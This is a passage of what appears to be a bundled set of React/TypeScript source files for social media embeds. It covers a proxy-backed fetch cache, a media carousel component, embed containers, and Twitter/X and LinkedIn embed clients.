over an unreliable server cache and\n// is DELETED — do not reintroduce it. Client flow is exactly:\n//\n//   memory (per-pageload dedupe) → GET proxy (server cache + upstream)\n//\n// Endpoint paths are passed in via `apiEndpoint` on each call so embedders\n// can route through their own reverse proxy (e.g. `/content/api/blog/reddit-proxy`).\n\n// Per-pageload memory cache shared between component instances.\nconst dataCache = new Map<string, any>();\n\n// In-flight GET dedupe: several embeds of the same URL mount concurrently\n// (before any of them has populated the memory cache).\nconst inflightRequests = new Map<string, Promise<any | null>>();\n\ninterface FetchOptions {\n  platform: 'reddit' | 'twitter';\n  url: string;\n  apiEndpoint: string;\n  dataValidator: (data: any) => boolean;\n  onDataUpdate: (data: any) => void;\n  onError: (error: string) => void;\n  onLoading: (loading: boolean) => void;\n}\n\nexport class SocialEmbedCache {\n  private static instance: SocialEmbedCache;\n\n  static getInstance(): SocialEmbedCache {\n    if (!SocialEmbedCache.instance) {\n      SocialEmbedCache.instance = new SocialEmbedCache();\n    }\n    return SocialEmbedCache.instance;\n  }\n\n  getFromMemory(url: string): any | null {\n    return dataCache.get(url) || null;\n  }\n\n  setInMemory(url: string, data: any): void {\n    dataCache.set(url, data);\n  }\n\n  /**\n   * Memory → proxy. Kept the historical name so the embed clients'\n   * call sites are unchanged.\n   */\n  async fetchWithHierarchy(options: FetchOptions): Promise<void> {\n    const { url, platform, apiEndpoint, dataValidator, onDataUpdate, onError, onLoading } = options;\n\n    const memoryData = this.getFromMemory(url);\n    if (memoryData && dataValidator(memoryData)) {\n      onDataUpdate(memoryData);\n      onLoading(false);\n      return;\n    }\n\n    try {\n      const data = await this.fetchFromProxy(url, apiEndpoint, dataValidator);\n      if (data) {\n        this.setInMemory(url, data);\n        onDataUpdate(data);\n        onLoading(false);\n        return;\n      }\n      // Structured 404 from the proxy — the content itself is unavailable.\n      onError(`This ${platform === 'reddit' ? 'Reddit post' : 'tweet'} could not be loaded.`);\n    } catch (error) {\n      console.log(`❌ [${platform} embed] Proxy fetch failed for: ${url}`, error);\n      onError(`Unable to load ${platform} content`);\n    }\n    onLoading(false);\n  }\n\n  /**\n   * Returns the validated payload, `null` for a structured \"content\n   * unavailable\" 404, and throws for everything else. Concurrent calls for\n   * the same URL share one request.\n   */\n  private fetchFromProxy(\n    url: string,\n    apiEndpoint: string,\n    dataValidator: (data: any) => boolean\n  ): Promise<any | null> {\n    const inflight = inflightRequests.get(url);\n    if (inflight) return inflight;\n\n    const request = (async () => {\n      const response = await fetch(`${apiEndpoint}?url=${encodeURIComponent(url)}`, {\n        signal: AbortSignal.timeout(15_000),\n      });\n      if (response.ok) {\n        const data = await response.json();\n        if (data && dataValidator(data)) return data;\n        throw new Error('Server proxy returned invalid data shape');\n      }\n      if (response.status === 404) return null;\n      throw new Error(`Server proxy failed: ${response.status}`);\n    })();\n\n    inflightRequests.set(\n      url,\n      request.finally(() => inflightRequests.delete(url))\n    );\n    return inflightRequests.get(url)!;\n  }\n}\n\nexport const socialCache = SocialEmbedCache.getInstance();\n","\"use client\";\n\nimport { useState, useRef, useEffect, memo, useCallback, type KeyboardEvent, type TouchEvent } from 'react';\nimport { cn } from \"../utils/cn\";\nimport { MediaItem } from '../utils/media-carousel-utils-stub';\nimport { Image, Link } from '../embed-shims';\nimport { Button } from './ui/button';\nimport { Video } from './features/video';\nimport { ImageOffIcon } from './icons-v2-generated/audio-and-visual/image-off-icon';\n\n// Navigation icons\nconst ChevronLeftIcon = () => (\n  <svg width=\"24\" height=\"24\" fill=\"none\" stroke=\"currentColor\" viewBox=\"0 0 24 24\">\n    <polyline points=\"15,18 9,12 15,6\"/>\n  </svg>\n);\n\nconst ChevronRightIcon = () => (\n  <svg width=\"24\" height=\"24\" fill=\"none\" stroke=\"currentColor\" viewBox=\"0 0 24 24\">\n    <polyline points=\"9,18 15,12 9,6\"/>\n  </svg>\n);\n\n/**\n * THE media carousel (Figma 4033:90570) — the single slide viewer for the\n * whole codebase: OpenFrame homepage categories, openmsp vendor screenshots,\n * who-am-i profiles, reddit embeds. One viewport + dot pagination; no\n * thumbnail rail, no slide counter (both removed with the 2026-07 redesign).\n *\n * - Slides render through the SSoT `<Video>` (MuxPlayer / lite-youtube\n *   facade) for `video`/`youtube` items and a broken-image-resilient\n *   `<Image>` shim for `image` items.\n * - Dots: 24px hit target, 8px dot, active = platform accent (per design).\n * - Hover-revealed prev/next arrows (`showArrows`), keyboard arrows, and\n *   touch swipe all preserved from the previous generation.\n */\nexport interface MediaCarouselProps {\n  media: MediaItem[];\n  className?: string;\n  /** Use aspect ratio instead of height classes for stable dimensions */\n  aspectRatio?: '16/9' | '4/3' | '3/2' | '1/1';\n  /** Hover-revealed prev/next arrows (default true; dots always render). */\n  showArrows?: boolean;\n  /** How content should fit within the container */\n  objectFit?: 'contain' | 'cover';\n  /** When true, the first slide's image or YouTube poster uses `priority` / eager load (e.g. vendor detail LCP). */\n  posterPriority?: boolean;\n  /** Optional per-host rewrite for image URLs (e.g. the hub proxies plain\n   *  `http://` sources to avoid mixed content). Applied to image slide srcs\n   *  and derived thumbnails only — video/youtube URLs go to `<Video>` raw. */\n  transformImageSrc?: (url: string) => string;\n  /** Always reserve the dot-row height (24px) even when there is nothing to\n   *  paginate — for surfaces that swap media sets in place (the OpenFrame\n   *  categories showcase), so 1-slide vs N-slide sets never shift layout.\n   *  Default false: standalone carousels (vendor page) collapse the row. */\n  reserveDotRow?: boolean;\n}\n\nexport const MediaCarousel = memo(function MediaCarousel({\n  media,\n  className,\n  aspectRatio = \"16/9\",\n  showArrows = true,\n  objectFit = 'contain',\n  posterPriority = false,\n  transformImageSrc,\n  reserveDotRow = false,\n}: MediaCarouselProps) {\n  const [currentIndex, setCurrentIndex] = useState(0);\n  const [touchStart, setTouchStart] = useState<number | null>(null);\n  const [touchEnd, setTouchEnd] = useState<number | null>(null);\n  /** Resource URLs that failed to load (e.g. 404, blocked CDN) */\n  const [brokenResourceUrls, setBrokenResourceUrls] = useState<Record<string, true>>({});\n  /** The src whose <Image> finished loading — keyed by URL (not a shared\n   *  boolean) so a late onLoad from a previous slide can never reveal the\n   *  current image prematurely; slide changes need no reset effect. */\n  const [loadedImageSrc, setLoadedImageSrc] = useState<string | null>(null);\n  const carouselRef = useRef<HTMLDivElement>(null);\n\n  const onImageError = useCallback((originalUrl: string) => {\n    const key = originalUrl.trim() || '__missing_src__';\n    setBrokenResourceUrls((b) => (b[key] ? b : { ...b, [key]: true }));\n  }, []);\n\n  // Clamp `currentIndex` whenever `media` shrinks (e.g. an admin removes a\n  // slide while the user is on the last one) so the dot active state +\n  // `currentItem` lookup stay in sync.\n  useEffect(() => {\n    if (currentIndex >= media.length && media.length > 0) {\n      setCurrentIndex(media.length - 1);\n    }\n  }, [media.length, currentIndex]);\n\n  const currentItem = media[currentIndex] || media[0];\n\n  // Navigation — `<Video>` owns its own play/pause lifecycle.\n  const nextSlide = useCallback(() => {\n    setCurrentIndex((prev) => (prev + 1) % media.length);\n  }, [media.length]);\n\n  const prevSlide = useCallback(() => {\n    setCurrentIndex((prev) => (prev - 1 + media.length) % media.length);\n  }, [media.length]);\n\n  const selectSlide = useCallback((index: number) => {\n    setCurrentIndex((prev) => (index === prev ? prev : index));\n  }, []);\n\n  // Keyboard navigation - only when carousel is focused\n  const handleKeyDown = useCallback((e: KeyboardEvent) => {\n    if (media.length <= 1) return;\n\n    if (e.key === 'ArrowLeft') {\n      e.preventDefault();\n      prevSlide();\n    } else if (e.key === 'ArrowRight') {\n      e.preventDefault();\n      nextSlide();\n    }\n  }, [nextSlide, prevSlide, media.length]);\n\n  // Early return if no media provided\n  if (!media || media.length === 0) {\n    return null;\n  }\n\n  // Additional safety check\n  if (!currentItem) {\n    return null;\n  }\n\n  // Touch/swipe handling\n  const minSwipeDistance = 50;\n\n  const onTouchStart = (e: TouchEvent) => {\n    setTouchEnd(null);\n    setTouchStart(e.targetTouches[0].clientX);\n  };\n\n  const onTouchMove = (e: TouchEvent) => {\n    setTouchEnd(e.targetTouches[0].clientX);\n  };\n\n  const onTouchEnd = () => {\n    // Explicit null checks — a swipe starting/ending at the viewport edge has\n    // clientX === 0, which a truthiness check would wrongly discard.\n    if (touchStart === null || touchEnd === null) return;\n\n    const distance = touchStart - touchEnd;\n    const isLeftSwipe = distance > minSwipeDistance;\n    const isRightSwipe = distance < -minSwipeDistance;\n\n    if (isLeftSwipe && media.length > 1) {\n      nextSlide();\n    }\n    if (isRightSwipe && media.length > 1) {\n      prevSlide();\n    }\n  };\n\n  const displayImageSrc = (url: string): string =>\n    transformImageSrc ? transformImageSrc(url) : url;\n\n  // Render any playable slide via the SSoT `<Video>` — its default `auto`\n  // routing owns the youtube-vs-file decision (lite-youtube facade vs\n  // MuxPlayer), so the carousel keeps NO url-detection fork of its own.\n  const renderVideo = (item: MediaItem, index: number) => (\n    <Video\n      key={`video-${index}-${item.src}`}\n      url={item.src}\n      poster={item.poster ? displayImageSrc(item.poster) : undefined}\n      title={item.alt || `Video ${index + 1}`}\n      muted\n      layout=\"fill\"\n      priority={Boolean(posterPriority && index === 0)}\n      className=\"w-full h-full bg-black\"\n    />\n  );\n\n  const renderImageUnavailable = (failedUrl: string) => (\n    <div className=\"absolute inset-0 flex flex-col items-center justify-center gap-3 bg-ods-card px-6 text-center\">\n      <ImageOffIcon className=\"size-8 text-ods-text-secondary\" />\n      <p className=\"text-ods-text-secondary text-h6 max-w-md\">\n        This image is no longer available at the original URL.\n      </p>\n      <Link\n        href={failedUrl}\n        target=\"_blank\"\n        rel=\"noopener noreferrer\"\n        className=\"text-ods-accent text-h6 underline break-all\"\n      >\n        Open link\n      </Link>\n    </div>\n  );\n\n  // Render image — skeleton until onLoad; keep Image opacity-0 until then to\n  // avoid the browser broken-image icon flash.\n  const renderImage = (item: MediaItem, index: number) => {\n    const rawSrc = typeof item.src === 'string' ? item.src.trim() : '';\n    if (!rawSrc) {\n      return (\n        <div className=\"absolute inset-0 flex flex-col items-center justify-center gap-3 bg-ods-card px-6 text-center\">\n          <p className=\"text-ods-text-secondary text-h6 max-w-md\">No image URL for this slide.</p>\n        </div>\n      );\n    }\n    if (brokenResourceUrls[rawSrc]) {\n      return renderImageUnavailable(rawSrc);\n    }\n    const mainImagePriority = Boolean(posterPriority && index === 0);\n    const imageLoaded = loadedImageSrc === rawSrc;\n    return (\n      <div className=\"absolute inset-0 bg-ods-bg\">\n        {!imageLoaded && (\n          <div\n            className=\"absolute inset-0 z-[1] bg-ods-card/90 animate-pulse\"\n            aria-hidden\n          />\n        )}\n        <Image\n          src={displayImageSrc(rawSrc)}\n          alt={item.alt || `Media ${index + 1}`}\n          className={cn(\n            `w-full h-full object-${objectFit} relative z-[2]`,\n            !imageLoaded && 'opacity-0',\n            imageLoaded && 'opacity-100 transition-opacity duration-200'\n          )}\n          priority={mainImagePriority}\n          loading={mainImagePriority ? 'eager' : 'lazy'}\n          sizes=\"(max-width: 1279px) 100vw, 1428px\"\n          width={1428}\n          height={802}\n          unoptimized\n          onLoad={() => setLoadedImageSrc(rawSrc)}\n          onError={() => onImageError(rawSrc)}\n        />\n      </div>\n    );\n  };\n\n  // Render main media item — video AND youtube both route through the SSoT\n  // `<Video>` (its `auto` kind owns the detection).\n  const renderMainMedia = (item: MediaItem, index: number) => {\n    switch (item.type) {\n      case 'youtube':\n      case 'video':\n        return renderVideo(item, index);\n      case 'image':\n      default:\n        return renderImage(item, index);\n    }\n  };\n\n  // Get CSS for aspect ratio\n  const getAspectRatioClass = () => {\n    switch (aspectRatio) {\n      case '4/3':\n        return 'aspect-[4/3]';\n      case '3/2':\n        return 'aspect-[3/2]';\n      case '1/1':\n        return 'aspect-square';\n      case '16/9':\n      default:\n        return 'aspect-video';\n    }\n  };\n\n  return (\n    <div className={cn(\"flex flex-col items-center gap-[var(--spacing-system-l)]\", className)}>\n      {/* Main Display Area with Fixed Aspect Ratio — Figma media frame:\n          rounded-md, ods border, semantic elevation token. */}\n      <div\n        ref={carouselRef}\n        className={cn(\n          \"relative bg-ods-bg border border-ods-border rounded-md overflow-hidden group w-full\",\n          \"[box-shadow:var(--shadow-media-frame)]\",\n          getAspectRatioClass()\n        )}\n        onTouchStart={onTouchStart}\n        onTouchMove={onTouchMove}\n        onTouchEnd={onTouchEnd}\n        onKeyDown={media.length > 1 ? handleKeyDown : undefined}\n        tabIndex={media.length > 1 ? 0 : undefined}\n        role={media.length > 1 ? \"region\" : undefined}\n        aria-label={media.length > 1 ? \"Media carousel, use arrow keys to navigate\" : undefined}\n      >\n        {/* Media content */}\n        {renderMainMedia(currentItem, currentIndex)}\n\n        {/* Navigation Arrows — hover-revealed, only with multiple items.\n            The common <Button> (transparent) with overlay positioning. */}\n        {showArrows && media.length > 1 && (\n          <>\n            <Button\n              variant=\"transparent\"\n              onClick={prevSlide}\n              className=\"absolute left-3 top-1/2 h-auto md:h-auto -translate-y-1/2 rounded-full bg-black/50 p-2 text-ods-text-on-dark opacity-0 transition-opacity duration-200 group-hover:opacity-100 hover:bg-black/70 z-10\"\n              aria-label=\"Previous media\"\n            >\n              <ChevronLeftIcon />\n            </Button>\n\n            <Button\n              variant=\"transparent\"\n              onClick={nextSlide}\n              className=\"absolute right-3 top-1/2 h-auto md:h-auto -translate-y-1/2 rounded-full bg-black/50 p-2 text-ods-text-on-dark opacity-0 transition-opacity duration-200 group-hover:opacity-100 hover:bg-black/70 z-10\"\n              aria-label=\"Next media\"\n            >\n              <ChevronRightIcon />\n            </Button>\n          </>\n        )}\n      </div>\n\n      {/* Dot pagination (Figma) — 24px hit target, 8px dot, active accent.\n          Plain grouped buttons (NOT tablist: no roving tabIndex/arrow-key\n          model here — aria-current marks the active slide instead). */}\n      {(media.length > 1 || reserveDotRow) && (\n        <div className=\"flex h-6 items-center gap-[var(--spacing-system-xs)]\" role=\"group\" aria-label=\"Choose slide\">\n          {media.length > 1 && media.map((item, index) => {\n            const isActive = index === currentIndex;\n            return (\n              <Button\n                key={index}\n                variant=\"transparent\"\n                aria-current={isActive ? 'true' : undefined}\n                aria-label={`Go to slide ${index + 1}`}\n                onClick={() => selectSlide(index)}\n                className=\"flex h-6 w-6 md:h-6 shrink-0 items-center justify-center rounded-full p-0\"\n              >\n                <span\n                  className={cn(\n                    \"size-2 rounded-full transition-colors duration-150\",\n                    isActive\n                      ? \"bg-ods-accent\"\n                      : \"bg-ods-bg-surface hover:bg-ods-bg-surface-hover\"\n                  )}\n                />\n              </Button>\n            );\n          })}\n        </div>\n      )}\n    </div>\n  );\n});\n\n// The carousel's item shape is the lib-wide SSOT — re-exported here so hub\n// code can `import type { MediaItem } from '.../components'`.\nexport type { MediaItem };\n","import React from 'react';\nimport { cn } from '../../utils/cn';\n\n// Base container sizes for different embed types\nexport const EMBED_SIZES = {\n  youtube: 'max-w-3xl',    // 768px - Video content needs more space\n  twitter: 'max-w-md',     // 448px - Narrow tweets, mobile-first\n  reddit: 'max-w-xl',      // 576px - Medium width for discussion threads\n  linkedin: 'max-w-lg',    // 512px - LinkedIn post embed, mobile-first\n  linkPreview: 'max-w-lg'  // 512px - Balanced width for cards\n} as const;\n\nexport type EmbedSize = keyof typeof EMBED_SIZES;\n\ninterface EmbedContainerProps {\n  size: EmbedSize;\n  children: React.ReactNode;\n  className?: string;\n}\n\n// Base container for all embeds\nexport function EmbedContainer({\n  size,\n  children,\n  className = \"\"\n}: EmbedContainerProps) {\n  return (\n    <div className={cn(\n      \"mx-auto rounded-lg overflow-hidden\",\n      \"bg-ods-card border border-ods-border\",\n      \"transition-all duration-200 ease-in-out\",\n      \"hover:border-ods-accent/30 hover:shadow-lg hover:shadow-ods-accent/10\",\n      EMBED_SIZES[size],\n      className\n    )}>\n      {children}\n    </div>\n  );\n}\n\n// Specific containers for each platform\nexport function YouTubeContainer({ children, className }: { children: React.ReactNode; className?: string }) {\n  return (\n    <EmbedContainer size=\"youtube\" className={cn(\"my-6\", className)}>\n      {children}\n    </EmbedContainer>\n  );\n}\n\nexport function TwitterContainer({ children, className }: { children: React.ReactNode; className?: string }) {\n  return (\n    <EmbedContainer size=\"twitter\" className={cn(\"my-6\", className)}>\n      {children}\n    </EmbedContainer>\n  );\n}\n\nexport function RedditContainer({ children, className }: { children: React.ReactNode; className?: string }) {\n  return (\n    <EmbedContainer size=\"reddit\" className={cn(\"my-6\", className)}>\n      {children}\n    </EmbedContainer>\n  );\n}\n\nexport function LinkPreviewContainer({ children, className }: { children: React.ReactNode; className?: string }) {\n  return (\n    <EmbedContainer size=\"linkPreview\" className={cn(\"my-6\", className)}>\n      {children}\n    </EmbedContainer>\n  );\n}\n\nexport function LinkedInContainer({ children, className }: { children: React.ReactNode; className?: string }) {\n  return (\n    <EmbedContainer size=\"linkedin\" className={cn(\"my-6\", className)}>\n      {children}\n    </EmbedContainer>\n  );\n}\n","\"use client\";\n\nimport { useState, useEffect, useRef } from 'react';\nimport { XLogo } from '../icons/x-logo';\nimport { socialCache } from '../../utils/social-embed-cache';\nimport { TwitterContainer } from './embed-container';\nimport { useRichMarkdownRuntime } from './rich-markdown-runtime';\n\n// Using inline SVG icons to avoid dependency issues\nconst MessageCircleIcon = () => (\n  <svg width=\"16\" height=\"16\" fill=\"none\" stroke=\"currentColor\" viewBox=\"0 0 24 24\">\n    <path d=\"M21 15a2 2 0 01-2 2H7l-4 4V5a2 2 0 012-2h14a2 2 0 012 2z\"/>\n  </svg>\n);\n\nconst ExternalLinkIcon = () => (\n  <svg width=\"16\" height=\"16\" fill=\"none\" stroke=\"currentColor\" viewBox=\"0 0 24 24\">\n    <path d=\"M18 13v6a2 2 0 01-2 2H5a2 2 0 01-2-2V8a2 2 0 012-2h6\"/>\n    <polyline points=\"15,3 21,3 21,9\"/>\n    <line x1=\"10\" y1=\"14\" x2=\"21\" y2=\"3\"/>\n  </svg>\n);\n\nconst HeartIcon = () => (\n  <svg width=\"16\" height=\"16\" fill=\"none\" stroke=\"currentColor\" viewBox=\"0 0 24 24\">\n    <path d=\"M20.84 4.61a5.5 5.5 0 0 0-7.78 0L12 5.67l-1.06-1.06a5.5 5.5 0 0 0-7.78 7.78l1.06 1.06L12 21.23l7.78-7.78 1.06-1.06a5.5 5.5 0 0 0 0-7.78z\"/>\n  </svg>\n);\n\nconst RepeatIcon = () => (\n  <svg width=\"16\" height=\"16\" fill=\"none\" stroke=\"currentColor\" viewBox=\"0 0 24 24\">\n    <polyline points=\"17,1 21,5 17,9\"/>\n    <path d=\"M3 11V9a4 4 0 0 1 4-4h14\"/>\n    <polyline points=\"7,23 3,19 7,15\"/>\n    <path d=\"M21 13v2a4 4 0 0 1-4 4H3\"/>\n  </svg>\n);\n\nconst ClockIcon = () => (\n  <svg width=\"12\" height=\"12\" fill=\"none\" stroke=\"currentColor\" viewBox=\"0 0 24 24\">\n    <circle cx=\"12\" cy=\"12\" r=\"10\"/>\n    <polyline points=\"12,6 12,12 16,14\"/>\n  </svg>\n);\n\nconst UserIcon = () => (\n  <svg width=\"12\" height=\"12\" fill=\"none\" stroke=\"currentColor\" viewBox=\"0 0 24 24\">\n    <path d=\"M20 21v-2a4 4 0 00-4-4H8a4 4 0 00-4 4v2\"/>\n    <circle cx=\"12\" cy=\"7\" r=\"4\"/>\n  </svg>\n);\n\n// X glyph: the lib's standard XLogo (color follows the text context).\nconst XIcon = () => <XLogo className=\"w-5 h-5\" color=\"currentColor\" />;\n\n\n\ninterface TwitterOEmbedResponse {\n  url: string;\n  author_name: string;\n  author_url: string;\n  html: string;\n  width: number;\n  height: number;\n  type: string;\n  cache_age: string;\n  provider_name: string;\n  provider_url: string;\n  version: string;\n}\n\ninterface TwitterEmbedProps {\n  url: string;\n  tweetId?: string;\n  maxWidth?: number;\n}\n\nexport function TwitterEmbedClient({ url, tweetId, maxWidth = 700 }: TwitterEmbedProps) {\n  const { twitterProxyUrl } = useRichMarkdownRuntime();\n  const [tweetData, setTweetData] = useState<TwitterOEmbedResponse | null>(null);\n  const [loading, setLoading] = useState(true);\n  const [error, setError] = useState<string | null>(null);\n  const initializationDone = useRef(false);\n\n  // Extract tweet ID from URL if not provided\n  const extractedTweetId = tweetId || url.match(/status\\/(\\d+)/)?.[1];\n\n  // Normalize the Twitter URL\n  const tweetUrl = url.includes('twitter.com') || url.includes('x.com')\n    ? url\n    : `https://twitter.com/twitter/status/${extractedTweetId}`;\n\n  useEffect(() => {\n    // Only run once\n    if (initializationDone.current) return;\n    initializationDone.current = true;\n\n    if (!extractedTweetId) {\n      setError('Invalid tweet URL or ID');\n      setLoading(false);\n      return;\n    }\n\n    // Use centralized cache hierarchy\n    socialCache.fetchWithHierarchy({\n      platform: 'twitter',\n      url: tweetUrl,\n      apiEndpoint: twitterProxyUrl,\n      dataValidator: (data) => data && data.html,\n      onDataUpdate: (data) => setTweetData(data),\n      onError: (errorMsg) => setError(errorMsg),\n      onLoading: (loading) => setLoading(loading)\n    });\n  }, []); // Empty dependency array - only run once\n\n  if (loading) {\n    return (\n      <TwitterContainer>\n        <div className=\"border border-ods-border rounded-lg p-6 bg-ods-card animate-pulse\">\n          <div className=\"flex items-center space-x-3 mb-4\">\n            <div className=\"w-12 h-12 bg-ods-border rounded-full\"></div>\n            <div>\n              <div className=\"h-4 bg-ods-border rounded w-32 mb-2\"></div>\n              <div className=\"h-3 bg-ods-border rounded w-24\"></div>\n            </div>\n          </div>\n          <div className=\"space-y-2 mb-4\">\n            <div className=\"h-4 bg-ods-border rounded w-full\"></div>\n            <div className=\"h-4 bg-ods-border rounded w-3/4\"></div>\n          </div>\n          <div className=\"flex items-center space-x-4\">\n            <div className=\"h-4 bg-ods-border rounded w-16\"></div>\n            <div className=\"h-4 bg-ods-border rounded w-16\"></div>\n            <div className=\"h-4 bg-ods-border rounded w-16\"></div>\n          </div>\n        </div>\n      </TwitterContainer>\n    );\n  }\n\n  if (error || !tweetData) {\n    return (\n      <TwitterContainer>\n        <div className=\"border border-ods-border rounded-lg p-6 bg-ods-card\">\n          <div className=\"flex items-center space-x-3 text-ods-text-secondary mb-4\">\n            <XIcon />\n            <span>Tweet unavailable</span>\n          </div>\n\n          <div className=\"text-center\">\n            <p className=\"text-ods-text-secondary text-h6 mb-4\">\n              This tweet could not be loaded. It may have been deleted, made private, or the account may be suspended.\n            </p>\n            <a\n              href={url}\n              target=\"_blank\"\n              rel=\"noopener noreferrer\"\n              className=\"inline-flex items-center space-x-2 px-4 py-2 bg-ods-bg-surface text-ods-text-primary rounded-md text-h6 hover:bg-ods-bg-active transition-colors\"\n            >\n              <XIcon />\n              <span>View on X</span>\n            </a>\n          </div>\n        </div>\n      </TwitterContainer>\n    );\n  }\n\n  // Parse the HTML to extract detailed tweet information and media\n  const parser = new DOMParser();\n  const doc = parser.parseFromString(tweetData.html, 'text/html');\n  const blockquote = doc.querySelector('blockquote');\n\n  // Extract tweet text (remove attribution line)\n  const fullText = blockquote?.textContent || '';\n  const tweetText = fullText.replace(/- .* \\(@.*\\).*$/, '').trim();\n\n  // Extract username from author_url (e.g., https://twitter.com/username)\n  const username = tweetData.author_url ? tweetData.author_url.split('/').pop() : '';\n\n\n\n  // Extract any links from the tweet\n  const links = Array.from(blockquote?.querySelectorAll('a') || [])\n    .map(link => ({\n      url: link.href,\n      text: link.textContent || link.href\n    }))\n    .filter(link => !link.url.includes('twitter.com') && !link.url.includes('x.com'));\n\n  // Format time (simulated - we don't have real timestamp from oEmbed)\n  const formatTime = () => {\n    return 'on X'; // Simplified since we don't have actual timestamp\n  };\n\n  const truncateText = (text: string, maxLength: number = 600) => {\n    if (text.length <= maxLength) return text;\n    return text.slice(0, maxLength) + '...';\n  };\n\n  // Profile picture URL using Unavatar service.\n  // The hub used to proxy this via `useProxiedImageUrl` (chat runtime), but\n  // docs / blog pages don't mount a chat runtime, so we fetch unavatar\n  // directly. Embedders that need a proxy can register a runtime later.\n  const getProfilePicUrl = (username: string | undefined) => {\n    if (!username) return '';\n    return `https://unavatar.io/twitter/${username}`;\n  };\n\n  return (\n    <TwitterContainer>\n      <div className=\"border border-ods-border rounded-lg bg-ods-card overflow-hidden\">\n        {/* Header with Profile Picture */}\n        <div className=\"p-4 border-b border-ods-border\">\n          <div className=\"flex items-center justify-between\">\n            <div className=\"flex items-center space-x-3\">\n              {/* User Profile Picture */}\n              <div className=\"w-8 h-8 rounded-full overflow-hidden flex-shrink-0\">\n                <img\n                  src={getProfilePicUrl(username)}\n                  alt={`${tweetData.author_name} profile picture`}\n                  className=\"w-full h-full object-cover\"\n                  onError={(e) => {\n                    // Simple fallback without state updates\n                    const target = e.target as HTMLImageElement;\n                    target.src = 'data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjQiIGhlaWdodD0iMjQiIGZpbGw9Im5vbmUiIHN0cm9rZT0iY3VycmVudENvbG9yIiB2aWV3Qm94PSIwIDAgMjQgMjQiPjxwYXRoIGQ9Ik0yMCAyMXYtMmE0IDQgMCAwIDAtNC00SDhhNCA0IDAgMCAwLTQgNHYyIi8+PGNpcmNsZSBjeD0iMTIiIGN5PSI3IiByPSI0Ii8+PC9zdmc+';\n                  }}\n                />\n              </div>\n              <div>\n                <p className=\"text-ods-text-primary text-h6\">@{username}</p>\n                <div className=\"flex items-center space-x-2 text-ods-text-secondary text-h6\">\n                  <UserIcon />\n                  <span>{tweetData.author_name}</span>\n                  <ClockIcon />\n                  <span>{formatTime()}</span>\n                </div>\n              </div>\n            </div>\n          </div>\n        </div>\n\n        {/* Content */}\n        <div className=\"p-4\">\n          {tweetText && (\n            <div\n              className=\"text-ods-text-secondary text-h6 mb-4 overflow-hidden\"\n              style={{ maxHeight: `${maxWidth - 200}px` }}\n            >\n              <p className=\"whitespace-pre-wrap\">\n                {truncateText(tweetText)}\n              </p>\n            </div>\n          )}\n\n\n\n          {/* Links Section */}\n          {links.length > 0 && (\n            <div className=\"mb-4 space-y-2\">\n              {links.map((link, index) => (\n                <a\n                  key={index}\n                  href={link.url}\n                  target=\"_blank\"\n                  rel=\"noopener noreferrer\"\n                  className=\"inline-flex items-center space-x-2 text-[#1DA1F2] hover:text-ods-accent transition-colors text-h6\"\n                >\n                  <ExternalLinkIcon />\n                  <span className=\"underline\">{link.text}</span>\n                </a>\n              ))}\n            </div>\n          )}\n\n          {/* Stats */}\n          <div className=\"flex items-center space-x-6 text-ods-text-secondary text-h6\">\n            <div className=\"flex items-center space-x-1\">\n              <HeartIcon />\n              <span>Likes</span>\n            </div>\n            <div className=\"flex items-center space-x-1\">\n              <RepeatIcon />\n              <span>Retweets</span>\n            </div>\n            <div className=\"flex items-center space-x-1\">\n              <MessageCircleIcon />\n              <span>Replies</span>\n            </div>\n          </div>\n        </div>\n\n        {/* Footer */}\n        <div className=\"px-4 py-3 bg-ods-bg-surface border-t border-ods-border\">\n          <a\n            href={url}\n            target=\"_blank\"\n            rel=\"noopener noreferrer\"\n            className=\"inline-flex items-center space-x-2 text-ods-accent hover:opacity-80 transition-colors text-h6\"\n          >\n            <ExternalLinkIcon />\n            <span>View on X</span>\n          </a>\n        </div>\n      </div>\n    </TwitterContainer>\n  );\n}\n","\"use client\";\n\nimport { useMemo, useState } from 'react';\nimport { LinkedInContainer } from './embed-container';\nimport { LinkedinIcon } from '../icons-v2-generated/brand-logos/linkedin-icon';\nimport { ExternalLink } from 'lucide-react';\n\n/**\n * Derive LinkedIn's official embed URL from any post URL or URN.\n * LinkedIn renders public posts at /embed/feed/update/<urn>. Returns '' when no\n * URN can be derived, so the component falls back to a link instead of a broken\n * (X-Frame-blocked) iframe.\n */\nfunction toLinkedInEmbedUrl(url: string): string {\n  if (!url) return '';\n  if (url.includes('linkedin.com/embed/')) return url.split('?')[0];\n  let m = url.match(/urn:li:(activity|share|ugcPost):(\\d+)/i);\n  if (m) return `https://www.linkedin.com/embed/feed/update/urn:li:${m[1]}:${m[2]}`;\n  m = url.match(/activity[-:](\\d{15,25})/i);\n  if (m) return `https://www.linkedin.com/embed/feed/update/urn:li:activity:${m[1]}`;\n  m = url.match(/-(\\d{15,25})(?:-[A-Za-z0-9_-]+)?\\/?(?:\\?.*)?$/);\n  if (m) return `https://www.linkedin.com/embed/feed/update/urn:li:activity:${m[1]}`;\n  return '';\n}\n\ninterface LinkedInEmbedProps {\n  url: string;\n  /** Fixed iframe height — LinkedIn embeds don't auto-resize. */\n  height?: number;\n}\n\nexport function LinkedInEmbedClient({ url, height = 600 }: LinkedInEmbedProps) {\n  const embedUrl = useMemo(() => toLinkedInEmbedUrl(url), [url]);\n  const [loaded, setLoaded] = useState(false);\n\n  // No derivable URN → graceful fallback card with a link (mirrors reddit's error state)\n  if (!embedUrl) {\n    return (\n      <LinkedInContainer>\n        <div className=\"p-6\">\n          <div className=\"flex items-center space-x-3 text-ods-text-secondary mb-4\">\n            <LinkedinIcon className=\"w-5 h-5 shrink-0\" />\n            <span>LinkedIn post</span>\n          </div>\n          <a\n            href={url}\n            target=\"_blank\"\n            rel=\"noopener noreferrer\"\n            className=\"inline-flex items-center space-x-2 px-4 py-2 bg-ods-card border border-ods-border text-ods-text-primary rounded-md text-h6 hover:bg-ods-bg-hover transition-colors\"\n          >\n            <LinkedinIcon className=\"w-4 h-4\" />\n            <span>View on LinkedIn</span>\n          </a>\n        </div>\n      </LinkedInContainer>\n    );\n  }\n\n  return (\n    <LinkedInContainer>\n      <div className=\"relative w-full\" style={{ height }}>\n        {!loaded && (\n          <div className=\"absolute inset-0 p-6 animate-pulse\">\n            <div className=\"flex items-center space-x-3 mb-4\">\n              <div className=\"w-12 h-12 bg-ods-border rounded-full\" />\n              <div>\n                <div className=\"h-4 bg-ods-border rounded w-32 mb-2\" />\n                <div className=\"h-3 bg-ods-border rounded w-24\" />\n              </div>\n            </div>\n            <div className=\"space-y-2\">\n              <div className=\"h-4 